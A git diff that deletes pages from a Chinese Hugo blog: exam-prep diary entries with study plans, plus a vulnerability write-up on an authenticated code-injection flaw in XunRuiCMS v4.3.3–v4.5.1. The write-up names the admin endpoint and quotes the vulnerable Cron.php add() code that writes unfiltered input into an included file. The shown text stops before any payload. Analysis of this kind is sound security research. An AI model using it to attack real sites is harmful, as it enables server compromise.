- - - - - diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225311\345\244\251/postgraduate.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225311\345\244\251/postgraduate.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225311\345\244\251/postgraduate.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225311\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225311\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" deleted file mode 100644 index 2ab47008..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225311\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225311\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225311\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" deleted file mode 100644 index e91ff2bb..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225311\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225311\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225311\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" deleted file mode 100644 index b3f8a046..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225311\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225312\345\244\251/index.html" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225312\345\244\251/index.html" deleted file mode 100644 index 53636f88..00000000 --- "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225312\345\244\251/index.html" +++ /dev/null @@ -1,927 +0,0 @@ - - - - -考研记录 距考研初试312天 - - - - - - - - - - - - - - - - -
- - - - -
-
-
-
- - Featured image of post 考研记录 距考研初试312天 - - -
- - -
- -
- - - postgraduate - - -
- - -
-

- 考研记录 距考研初试312天 -

- - -

- 明天开始正式准备考研 -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

正式准备考研

-

明天是开始正式准备考研的第一天,也就是正式准备考研初试的第一天,目标院校就不说了,但是已经确定了

-

现在准备其实或许有些晚了,这么晚才正式开始的原因,一个是自己不够自律,管不住自己,很多时候想学习,但是打开书看了两页就又忍不住去玩了,同时还有完美主义,决定明天要好好学习,但是今晚睡的晚了,或者明天没有在计划好的时间点坐在桌子前,那么就不想学了,即使知道不应该这样,但是内心里还是产生了这样的感觉,这是不对的,不论人能不能做到完美,这样都是不对的,另一个是自己最近几年变得特别急,特别焦虑,不论做什么事总想着尽快做完,越快越好,比如,这次考研,加上学校里的课程,自己感兴趣的东西,以及生活上的一些事,这些加起来其实是很多的事情,自己却急着能非常快的做完这些事情,在不可能的那么少的时间里,这肯定也是不对的,节省时间,提高效率,是对的,但是这样急的去做不可能的事情是不对的,要充分利用时间,但是不是做不可能的事情

-

这两个我上面说了我觉得是不对的,我觉得是缺点,不论是考研还是以后的人生都必须要改正的缺点,其他也还有一些要改正的地方,一些根深蒂固的坏习惯,我放在后面的目标列表里说

-

不知道是不是我对自己能力的自信,还是我对考研难度的乐观,我觉得自己现在准备一点也不晚,而且一定能考上

-

可能是因为我考研是出于对我学习的专业的热爱,还有对于学习我这个专业来说读研的环境要好于工作时的环境

-

从明天到考研初试这段时间其实要做的事还是很多的,多到应该详细的列个目标列表,这也是这篇文章最后的一部分了,希望自己的坚持能和自己的能力相匹配吧

-

目标列表

-

考研

-

数学一

-
    -
  • -

    高等数学

    -
    • -
  • -

    线性代数

    -
    • -
  • -

    概率论与数理统计

    -
    • -
  • -

    离散数学

    -
    • -
-

计算机基础

-
计算机系统部分
-
    -
  • -

    深入理解计算机系统(第3版),Randy E.Bryant,机械工业出版社,2016.11出版

    -
      -
    • 前置知识需要C语言,CS:APP这本书推荐的C语言书籍:C程序设计语言(第2版),作者是美国的Brian W. Kernighan和美国的Dennis M. Ritchie,买了实体书
      • -
    -
    • -
  • -

    计算机系统基础(第2版),袁春风,机械工业出版社,2018.07出版

    -
    • -
-
计算机网络部分
-
    -
  • -

    计算机网络-自顶向下方法(原书第6版),James F. Kurose, Keith W. Ross.,机械工业出版社,2014

    -
    • -
  • -

    计算机网络(第5版),Andrew S. Tanenbaum and David J. Wetherall 著,严伟、潘爱民译,清华大学出版社,2012

    -
    • -
  • -

    计算机网络(第6版),谢希仁,电子工业出版社,2013

    -
    • -
-
数据结构部分
-
    -
  • -

    数据结构与算法(第5版),张岩,李秀坤,刘显敏,高等教育出版社,2020.2

    -
    • -
  • -

    数据结构(C语言版),严蔚敏,吴伟民,清华大学出版社,2002.09

    -
    • -
-

英语一

-
    -
  • -

    学音标,英式发音

    -
    • -
  • -

    背单词

    -
    • -
  • -

    学语法

    -
    • -
  • -

    练口语

    -
    • -
-

思想政治理论

-
    -
  • 学,背就完事了
    • -
-

学校里的课程

-
    -
  • -

    别挂科,尽量考高点

    -
    • -
  • -

    已经挂了的,补考别挂

    -
    • -
-

自己感兴趣的东西

-

编程有关的东西

-
    -
  • 编程有关的东西基本我都喜欢,而且以前我的娱乐方式就是玩游戏,最近慢慢觉得游戏没意思了,所以编程就成了我唯一的娱乐方式
    • -
-

服务器相关的东西

-
    -
  • 现在主要就是云服务器,物理服务器也没有,用好云服务器,学习服务器相关的东西
    • -
-

信息安全相关,主要是网络安全

-
    -
  • 当初选专业的时候纠结过我现在学的这个专业和网络安全相关的专业,最后觉得我现在学的这个专业是基础,所以就把网络安全当作爱好了,但是自己一直就和编程一样喜欢网络安全,不会放下的
    • -
-

自己开发一个英雄联盟的脚本

-
    -
  • 很感兴趣的一个东西,真正要实现要学的东西非常多,但是很感兴趣,所以很有自信
    • -
-

英语四六级,笔试,口语看情况

-
    -
  • 学我这个专业,不论学什么外语,英语都是必然要熟练掌握的,自己本身现在也对英语挺感兴趣的,希望能努力弥补以前那些不学英语的时间
    • -
-

生物学,医学,化学,物理学等等

-
    -
  • -

    和人相关的

    -
    • -
  • -

    和医学相关的

    -
    • -
  • -

    各种各样的知识,天文地理,无所不知

    -
    • -
-

唱歌

-
    -
  • 学习唱歌
    • -
-

生活上的

-

锻炼身体,健身

-
    -
  • 长久以来不健康的生活使我的身体已经变差了很多,锻炼身体,为了身体本身,为了自己的健康
    • -
-

多少接受一些人际交往

-
    -
  • 虽然不喜欢现在社会的主流的人际交往方式,也想着以后只接触自己觉得想交往的人,但是有些时候不得不接触,而且有些时候多掌握的一些东西会带来一些机遇,当然也有挑战,不过做为一项工具还是有些掌握的必要的
    • -
-

用自己的能力赚些钱

-
    -
  • 在不影响其他更重要的事情的前提下
    • -
-

注意个人形象

-
    -
  • 虽然我觉得没什么用,但是其实还是有点用的,当然是在不影响其他更重要的事情的前提下,总之越好越好嘛
    • -
-

备注:目前想到的就这些,留待以后补充,每次补充会在下面写好改动时间和改动内容,做为记录,包括编写这篇文章的这个第一次

-

第一次改动:

-
    -
  • -

    时间:2022.02.16

    -
    • -
  • -

    改动内容:编写这篇文章

    -
    • -
-

第二次改动:

-
    -
  • -

    时间:2022.02.17

    -
    • -
  • -

    改动内容:想看CS:APP,发现要C语言基础,CS:APP推荐了C程序设计语言(第2版)这本书来学习C语言

    -
    • -
-

第三次改动:

-
    -
  • -

    时间:2022.04.05

    -
    • -
  • -

    改动内容1:C程序设计语言(第2版)在2022年03月08日的时候在tb机械工业出版社店铺买了实体书,因为三八妇女节很多书都半价了,这本书也打半价了,54元到手,C程序设计语言原书第2版典藏版和C程序设计语言习题解答原书第2版新版这两本书,其实用不到解答这本书,但是这又涉及到我的另一个坏习惯,有些收集癖,看到官方出的东西就很想收集,这其实是个坏习惯,要改正

    -
    • -
  • -

    改动内容2:目标列表里增加离散数学,其实在当初列这个目标列表时就想着要添加离散数学,因为听说复试面试的时候要用到,而且这门课确实对我们这个专业也有用,所以要学,但是列列表的忘记了,加在考研-数学一里

    -
    • -
  • -

    改动内容:编写这篇文章

    -
    • -
-

第四次改动:

-
    -
  • -

    时间:2022.06.24

    -
    • -
  • -

    改动内容:添加了学习唱歌

    -
    • -
- -
- - -
- -
- - postgraduate - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225312\345\244\251/postgraduate.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225312\345\244\251/postgraduate.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225312\345\244\251/postgraduate.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225312\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225312\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" deleted file mode 100644 index 2ab47008..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225312\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225312\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225312\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" deleted file mode 100644 index e91ff2bb..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225312\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225312\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225312\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" deleted file mode 100644 index b3f8a046..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\225312\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\22588\345\244\251/index.html" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\22588\345\244\251/index.html" deleted file mode 100644 index 3a0f8825..00000000 --- "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\22588\345\244\251/index.html" +++ /dev/null @@ -1,682 +0,0 @@ - - - - -考研记录 距考研初试88天 - - - - - - - - - - - - - - - - -
- - - -
- - - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\22588\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\22588\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\22588\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\22588\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_250x150_fill_box_smart1_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\22588\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_250x150_fill_box_smart1_3.png" deleted file mode 100644 index 5886db27..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\22588\345\244\251/postgraduate.64ca384b0fa92838663e41651579c4f9_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_250x150_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\22588\345\244\251/postgraduate.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\22588\345\244\251/postgraduate.png" deleted file mode 100644 index 9a99a696..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\22588\345\244\251/postgraduate.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\22588\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\22588\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" deleted file mode 100644 index 2ab47008..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\22588\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_120x120_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\22588\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\22588\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" deleted file mode 100644 index e91ff2bb..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\22588\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_1600x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\22588\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" "b/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\22588\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" deleted file mode 100644 index b3f8a046..00000000 Binary files "a/p/\350\200\203\347\240\224\350\256\260\345\275\225-\350\267\235\350\200\203\347\240\224\345\210\235\350\257\22588\345\244\251/postgraduate_hu70b388befb54006d4dcf3b6c8c0484a4_1176591_800x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\277\205\347\235\277cms-v4.3.3\345\210\260v4.5.1\345\220\216\345\217\260\344\273\273\346\204\217\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236\346\226\207\344\273\266\345\206\231\345\205\245\345\212\240\346\226\207\344\273\266\345\214\205\345\220\253/expliot-db.d6d0f23494fcfe00d4fac72faebda90f.png" "b/p/\350\277\205\347\235\277cms-v4.3.3\345\210\260v4.5.1\345\220\216\345\217\260\344\273\273\346\204\217\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236\346\226\207\344\273\266\345\206\231\345\205\245\345\212\240\346\226\207\344\273\266\345\214\205\345\220\253/expliot-db.d6d0f23494fcfe00d4fac72faebda90f.png" deleted file mode 100644 index 070ecfed..00000000 Binary files "a/p/\350\277\205\347\235\277cms-v4.3.3\345\210\260v4.5.1\345\220\216\345\217\260\344\273\273\346\204\217\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236\346\226\207\344\273\266\345\206\231\345\205\245\345\212\240\346\226\207\344\273\266\345\214\205\345\220\253/expliot-db.d6d0f23494fcfe00d4fac72faebda90f.png" and /dev/null differ diff --git "a/p/\350\277\205\347\235\277cms-v4.3.3\345\210\260v4.5.1\345\220\216\345\217\260\344\273\273\346\204\217\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236\346\226\207\344\273\266\345\206\231\345\205\245\345\212\240\346\226\207\344\273\266\345\214\205\345\220\253/expliot-db.d6d0f23494fcfe00d4fac72faebda90f_hud9700ca58d822386b8178068bd5ae476_8790_250x150_fill_box_smart1_3.png" "b/p/\350\277\205\347\235\277cms-v4.3.3\345\210\260v4.5.1\345\220\216\345\217\260\344\273\273\346\204\217\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236\346\226\207\344\273\266\345\206\231\345\205\245\345\212\240\346\226\207\344\273\266\345\214\205\345\220\253/expliot-db.d6d0f23494fcfe00d4fac72faebda90f_hud9700ca58d822386b8178068bd5ae476_8790_250x150_fill_box_smart1_3.png" deleted file mode 100644 index 799b17cb..00000000 Binary files "a/p/\350\277\205\347\235\277cms-v4.3.3\345\210\260v4.5.1\345\220\216\345\217\260\344\273\273\346\204\217\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236\346\226\207\344\273\266\345\206\231\345\205\245\345\212\240\346\226\207\344\273\266\345\214\205\345\220\253/expliot-db.d6d0f23494fcfe00d4fac72faebda90f_hud9700ca58d822386b8178068bd5ae476_8790_250x150_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\277\205\347\235\277cms-v4.3.3\345\210\260v4.5.1\345\220\216\345\217\260\344\273\273\346\204\217\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236\346\226\207\344\273\266\345\206\231\345\205\245\345\212\240\346\226\207\344\273\266\345\214\205\345\220\253/expliot-db.png" "b/p/\350\277\205\347\235\277cms-v4.3.3\345\210\260v4.5.1\345\220\216\345\217\260\344\273\273\346\204\217\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236\346\226\207\344\273\266\345\206\231\345\205\245\345\212\240\346\226\207\344\273\266\345\214\205\345\220\253/expliot-db.png" deleted file mode 100644 index 070ecfed..00000000 Binary files "a/p/\350\277\205\347\235\277cms-v4.3.3\345\210\260v4.5.1\345\220\216\345\217\260\344\273\273\346\204\217\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236\346\226\207\344\273\266\345\206\231\345\205\245\345\212\240\346\226\207\344\273\266\345\214\205\345\220\253/expliot-db.png" and /dev/null differ diff --git "a/p/\350\277\205\347\235\277cms-v4.3.3\345\210\260v4.5.1\345\220\216\345\217\260\344\273\273\346\204\217\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236\346\226\207\344\273\266\345\206\231\345\205\245\345\212\240\346\226\207\344\273\266\345\214\205\345\220\253/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_120x120_fill_box_smart1_3.png" "b/p/\350\277\205\347\235\277cms-v4.3.3\345\210\260v4.5.1\345\220\216\345\217\260\344\273\273\346\204\217\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236\346\226\207\344\273\266\345\206\231\345\205\245\345\212\240\346\226\207\344\273\266\345\214\205\345\220\253/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_120x120_fill_box_smart1_3.png" deleted file mode 100644 index f05890cc..00000000 Binary files "a/p/\350\277\205\347\235\277cms-v4.3.3\345\210\260v4.5.1\345\220\216\345\217\260\344\273\273\346\204\217\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236\346\226\207\344\273\266\345\206\231\345\205\245\345\212\240\346\226\207\344\273\266\345\214\205\345\220\253/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_120x120_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\277\205\347\235\277cms-v4.3.3\345\210\260v4.5.1\345\220\216\345\217\260\344\273\273\346\204\217\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236\346\226\207\344\273\266\345\206\231\345\205\245\345\212\240\346\226\207\344\273\266\345\214\205\345\220\253/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_1600x0_resize_box_3.png" "b/p/\350\277\205\347\235\277cms-v4.3.3\345\210\260v4.5.1\345\220\216\345\217\260\344\273\273\346\204\217\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236\346\226\207\344\273\266\345\206\231\345\205\245\345\212\240\346\226\207\344\273\266\345\214\205\345\220\253/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_1600x0_resize_box_3.png" deleted file mode 100644 index adbc4610..00000000 Binary files "a/p/\350\277\205\347\235\277cms-v4.3.3\345\210\260v4.5.1\345\220\216\345\217\260\344\273\273\346\204\217\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236\346\226\207\344\273\266\345\206\231\345\205\245\345\212\240\346\226\207\344\273\266\345\214\205\345\220\253/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_1600x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\277\205\347\235\277cms-v4.3.3\345\210\260v4.5.1\345\220\216\345\217\260\344\273\273\346\204\217\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236\346\226\207\344\273\266\345\206\231\345\205\245\345\212\240\346\226\207\344\273\266\345\214\205\345\220\253/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_800x0_resize_box_3.png" "b/p/\350\277\205\347\235\277cms-v4.3.3\345\210\260v4.5.1\345\220\216\345\217\260\344\273\273\346\204\217\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236\346\226\207\344\273\266\345\206\231\345\205\245\345\212\240\346\226\207\344\273\266\345\214\205\345\220\253/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_800x0_resize_box_3.png" deleted file mode 100644 index 04520161..00000000 Binary files "a/p/\350\277\205\347\235\277cms-v4.3.3\345\210\260v4.5.1\345\220\216\345\217\260\344\273\273\346\204\217\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236\346\226\207\344\273\266\345\206\231\345\205\245\345\212\240\346\226\207\344\273\266\345\214\205\345\220\253/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_800x0_resize_box_3.png" and /dev/null differ diff --git "a/p/\350\277\205\347\235\277cms-v4.3.3\345\210\260v4.5.1\345\220\216\345\217\260\344\273\273\346\204\217\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236\346\226\207\344\273\266\345\206\231\345\205\245\345\212\240\346\226\207\344\273\266\345\214\205\345\220\253/index.html" "b/p/\350\277\205\347\235\277cms-v4.3.3\345\210\260v4.5.1\345\220\216\345\217\260\344\273\273\346\204\217\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236\346\226\207\344\273\266\345\206\231\345\205\245\345\212\240\346\226\207\344\273\266\345\214\205\345\220\253/index.html" deleted file mode 100644 index 4f587932..00000000 --- "a/p/\350\277\205\347\235\277cms-v4.3.3\345\210\260v4.5.1\345\220\216\345\217\260\344\273\273\346\204\217\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236\346\226\207\344\273\266\345\206\231\345\205\245\345\212\240\346\226\207\344\273\266\345\214\205\345\220\253/index.html" +++ /dev/null @@ -1,1935 +0,0 @@ - - - - -迅睿CMS v4.3.3到v4.5.1后台任意代码注入漏洞(文件写入加文件包含) - - - - - - - - - - - - - - - - -
- - - - -
-
-
-
- - Featured image of post 迅睿CMS v4.3.3到v4.5.1后台任意代码注入漏洞(文件写入加文件包含) - - -
- - -
- -
- - - expliot-db - - -
- - -
-

- 迅睿CMS v4.3.3到v4.5.1后台任意代码注入漏洞(文件写入加文件包含) -

- - -

- 迅睿CMS v4.3.3到v4.5.1 -

- -
- - - - - -
- -
- - - - - - - - - - -
- - - -
- - - - - - - - - -
- -
- - - -
- -
- -
- - -

触发条件

-

两个条件:

-

1.迅睿CMS 版本为v4.3.3到v4.5.1

-

2.登录后台,且为管理员或具有"应用"->“任务队列"的管理权限

-

环境搭建

-

1.安装并配置好php与web中间件,注意该cms的低版本需要php的低版本

-

2.clone该cms的官方开源地址https://gitee.com/dayrui/xunruicms

-

3.通过搜索commit信息里的版本号,回退到指定的版本

-

在PhpStorm里,右键指定的commit版本,选择"Reset Current Branch to Here”

-

选择"Hard",点击"Reset"

-

4.访问,安装,登陆后台

-

后台地址:/admin.php

-

漏洞描述

-

Admin控制器文件夹下Cron.php控制器的add()函数对于用户的输入没有进行专门的过滤,致使攻击者在具备管理员权限或具有"应用"->“任务队列"的管理权限时可以对WRITEPATH.'config/cron.php'文件写入任意内容,同时该文件有多处被包含且可以被利用的点,正常情况下具有上述的触发条件即可稳定触发该漏洞

-

漏洞原理

-

在版本v4.3.3之前

-

在版本v4.3.3之前,cron.php下并未有add()函数

-

在版本v4.3.3到v4.5.0下

-

1.该cms在具备上述权限的情况下,可以通过http://host:port/Admin.php?c=Cron&m=add调用Admin控制器文件夹下Cron.php控制器的add()函数

-

2.add()函数的代码:

-
- -
-
 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
-10
-11
-12
-13
-14
-15
-16
-17
-18
-19
-20
-21
-22
-23
-24
-25
-26
-27
-
 -
// 任务类型
-public function add() {
-
-    $json = '';
-    if (is_file(WRITEPATH.'config/cron.php')) {
-        require WRITEPATH.'config/cron.php';
-    }
-
-    $data = json_decode($json, true);
-
-    if (IS_AJAX_POST) {
-
-        $post = \Phpcmf\Service::L('input')->post('data', true);
-
-        file_put_contents(WRITEPATH.'config/cron.php',
-            '<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');'.PHP_EOL.' $json=\''.json_encode($post).'\';');
-
-        \Phpcmf\Service::L('input')->system_log('设置自定义任务类型');
-
-        $this->_json(1, dr_lang('操作成功'));
-    }
-
-    \Phpcmf\Service::V()->assign([
-        'data' => $data,
-    ]);
-    \Phpcmf\Service::V()->display('cron_add.html');
-}
-
-
-

add()函数的分析

-
- -
-
1
-2
-3
-
 -
if (is_file(WRITEPATH.'config/cron.php')) {
-    require WRITEPATH.'config/cron.php';
-}
-
-
-

add()函数首先会在WRITEPATH.'config/cron.php'文件存在时包含该文件,WRITEPATH可在网站根目录的index.php里配置,默认情况下为网站根目录下的cache/

-
- -
-
1
-2
-
 -
$json = '';
-$data = json_decode($json, true);
-
-
-

然后add()函数通过json_decode($json, true)函数给$data赋值Null

-
- -
-
1
